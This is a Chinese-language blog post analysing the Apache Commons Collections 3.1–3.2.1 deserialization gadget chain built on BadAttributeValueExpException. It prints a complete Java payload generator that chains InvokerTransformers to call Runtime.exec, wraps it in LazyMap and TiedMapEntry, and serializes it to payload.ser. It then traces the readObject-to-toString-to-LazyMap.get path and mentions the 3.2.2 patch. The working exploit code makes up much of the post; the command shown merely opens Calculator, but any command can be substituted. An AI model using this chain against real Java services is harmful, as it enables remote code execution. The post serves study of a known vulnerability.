简介
适用版本:3.1-3.2.1,jdk1.7,1.8
jdk在1.8之后对AnnotationInvocationHandler类做了限制,所以就找到了BadAttributeValueExpException来代替AnnotationInvocationHandler。
主要代码
先看看主要代码
public static void main(String[] args) throws Exception {
String command = "open /Applications/Calculator.app/";
final String[] execArgs = new String[] { command };
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Permit.setAccessible(valfield);
//将BadAttributeValueExpException对象的成员变量val赋值为恶意entry
valfield.set(val, entry);
setFieldValue(transformerChain, "iTransformers", transformers);
FileOutputStream fos = new FileOutputStream("payload.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(val);
oos.flush();
oos.close();
FileInputStream fis = new FileInputStream("payload.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object newObj = ois.readObject();
ois.close();
}
表哥们,越来越简单了
利用链
分析
BadAttributeValueExpException类
反序列化时,该类的readObject会调用它的成员变量val(也就是我们传入的恶意TiedMapEntry对象)的toString方法
private void readobject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valobj = gf.get(name: "val", val: null);
if (valobj == null) {
val = null;
} else if (valobj instanceof String) {
val= valobj;
} else if (System.getSecurityManager() == null
||valObj instanceof Long
||valobj instanceof Integer
||valObj instanceof Float
||valObj instanceof Double
||valobj instanceof Byte
||valobj instanceof Short
||valobj instanceof Boolean
val = valobj.toString();
}else{
val = System.identityHashCode(valobj) +"@"+ valobj.getClass().getName();
}
TiedMapEntry的toString方法
调用了this.getkey和this.getValue方法
public String toString() {
return this.getKey() + "="+ this.getValue();
}
在getValue方法中会调用成员变量map的get方法,this.map就是传入的恶意LazyMap,this.key只要存在就好
public Object getValue() {
return this.map.get(this. key);
}
剩下的就很熟悉了,忘了再去看看
补丁
3.2.2,将BadAttributeValueExpException拉黑